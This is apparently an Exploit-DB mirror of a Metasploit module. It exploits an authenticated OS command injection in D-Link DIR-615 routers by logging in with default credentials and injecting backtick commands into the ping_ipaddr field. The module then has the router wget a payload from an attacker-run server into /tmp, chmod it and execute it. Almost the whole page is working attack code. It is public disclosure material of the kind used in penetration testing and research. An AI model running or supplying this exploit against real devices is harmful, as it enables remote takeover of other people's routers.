D-Link DIR-615H – OS Command Injection (Metasploit)

  • 作者: Metasploit
    日期: 2013-05-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/25609/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'D-Link DIR615h OS Command Injection',
    'Description' => %q{
    Some D-Link Routers are vulnerable to an authenticated OS command injection on
    their web interface, where default credentials are admin/admin or admin/password.
    Since it is a blind os command injection vulnerability, there is no output for the
    executed command when using the cmd generic payload. This module was tested against
    a DIR-615 hardware revision H1 - firmware version 8.04. A ping command against a
    controlled system could be used for testing purposes. The exploit uses the wget
    client from the device to convert the command injection into an arbitrary payload
    execution.
    },
    'Author'=>
    [
    'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
    'juan vazquez' # minor help with msf module
    ],
    'License' => MSF_LICENSE,
    'References'=>
    [
    [ 'BID', '57882' ],
    [ 'EDB', '24477' ],
    [ 'OSVDB', '90174' ],
    [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-008' ]
    ],
    'DisclosureDate' => 'Feb 07 2013',
    'Privileged' => true,
    'Platform' => ['linux','unix'],
    'Payload'=>
    {
    'DisableNops' => true
    },
    'Targets'=>
    [
    [ 'CMD',
    {
    'Arch' => ARCH_CMD,
    'Platform' => 'unix'
    }
    ],
    [ 'Linux mipsel Payload',
    {
    'Arch' => ARCH_MIPSLE,
    'Platform' => 'linux'
    }
    ],
    ],
    'DefaultTarget'=> 1,
    ))
    
    register_options(
    [
    OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
    OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
    OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
    OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
    OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
    ], self.class)
    end
    
    
    def request(cmd)
    begin
    res = send_request_cgi({
    'uri'=> @uri,
    'method' => 'GET',
    'vars_get' => {
    "page" => "tools_vct",
    "hping" => "0",
    "ping_ipaddr" => "1.1.1.1`#{cmd}`",
    "ping6_ipaddr" => ""
    }
    })
    return res
    rescue ::Rex::ConnectionError
    vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
    return nil
    end
    end
    
    def exploit
    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
    @uri = '/tools_vct.htm'
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    @timeout = 5
    
    #
    # testing Login
    #
    print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
    begin
    res= send_request_cgi({
    'uri' => '/login.htm',
    'method' => 'POST',
    'vars_post' => {
    "page" => "login",
    "submitType" => "0",
    "identifier" => "",
    "sel_userid" => user,
    "userid" => "",
    "passwd" => pass,
    "captchapwd" => ""
    }
    })
    if res.nil? or res.code == 404
    fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
    end
    if res.body =~ /\<script\ langauge\=\"javascript\"\>showMainTabs\(\"setup\"\)\;\<\/script\>/
    print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
    else
    fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
    end
    rescue ::Rex::ConnectionError
    fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
    end
    
    if target.name =~ /CMD/
    if not (datastore['CMD'])
    fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
    end
    cmd = payload.encoded
    res = request(cmd)
    if (!res)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    else
    print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
    end
    return
    end
    
    #thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe
    @elf_sent = false
    
    #
    # start our server
    #
    resource_uri = '/' + downfile
    
    if (datastore['DOWNHOST'])
    service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
    #do not use SSL
    if datastore['SSL']
    ssl_restore = true
    datastore['SSL'] = false
    end
    
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
    srv_host = Rex::Socket.source_address(rhost)
    else
    srv_host = datastore['SRVHOST']
    end
    
    service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
    print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
    start_service({'Uri' => {
    'Proc' => Proc.new { |cli, req|
    on_request_uri(cli, req)
    },
    'Path' => resource_uri
    }})
    
    datastore['SSL'] = true if ssl_restore
    end
    
    #
    # download payload
    #
    print_status("#{rhost}:#{rport} - Asking the D-Link device to download #{service_url}")
    #this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)
    
    #not working if we send all command together -> lets take three requests
    cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
    res = request(cmd)
    if (!res)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
    
    # wait for payload download
    if (datastore['DOWNHOST'])
    print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
    select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
    wait_linux_payload
    end
    register_file_for_cleanup("/tmp/#{filename}")
    
    print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
    select(nil, nil, nil, @timeout)
    
    #
    # chmod
    #
    cmd = "chmod 777 /tmp/#{filename}"
    print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}")
    res = request(cmd)
    if (!res)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
    print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
    select(nil, nil, nil, @timeout)
    
    #
    # execute
    #
    cmd = "/tmp/#{filename}"
    print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}")
    res = request(cmd)
    if (!res)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
    
    end
    
    # Handle incoming requests from the server
    def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
    print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
    return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
    end
    
    # wait for the data to be sent
    def wait_linux_payload
    print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
    
    waited = 0
    while (not @elf_sent)
    select(nil, nil, nil, 1)
    waited += 1
    if (waited > datastore['HTTP_DELAY'])
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
    end
    end
    end
    
    end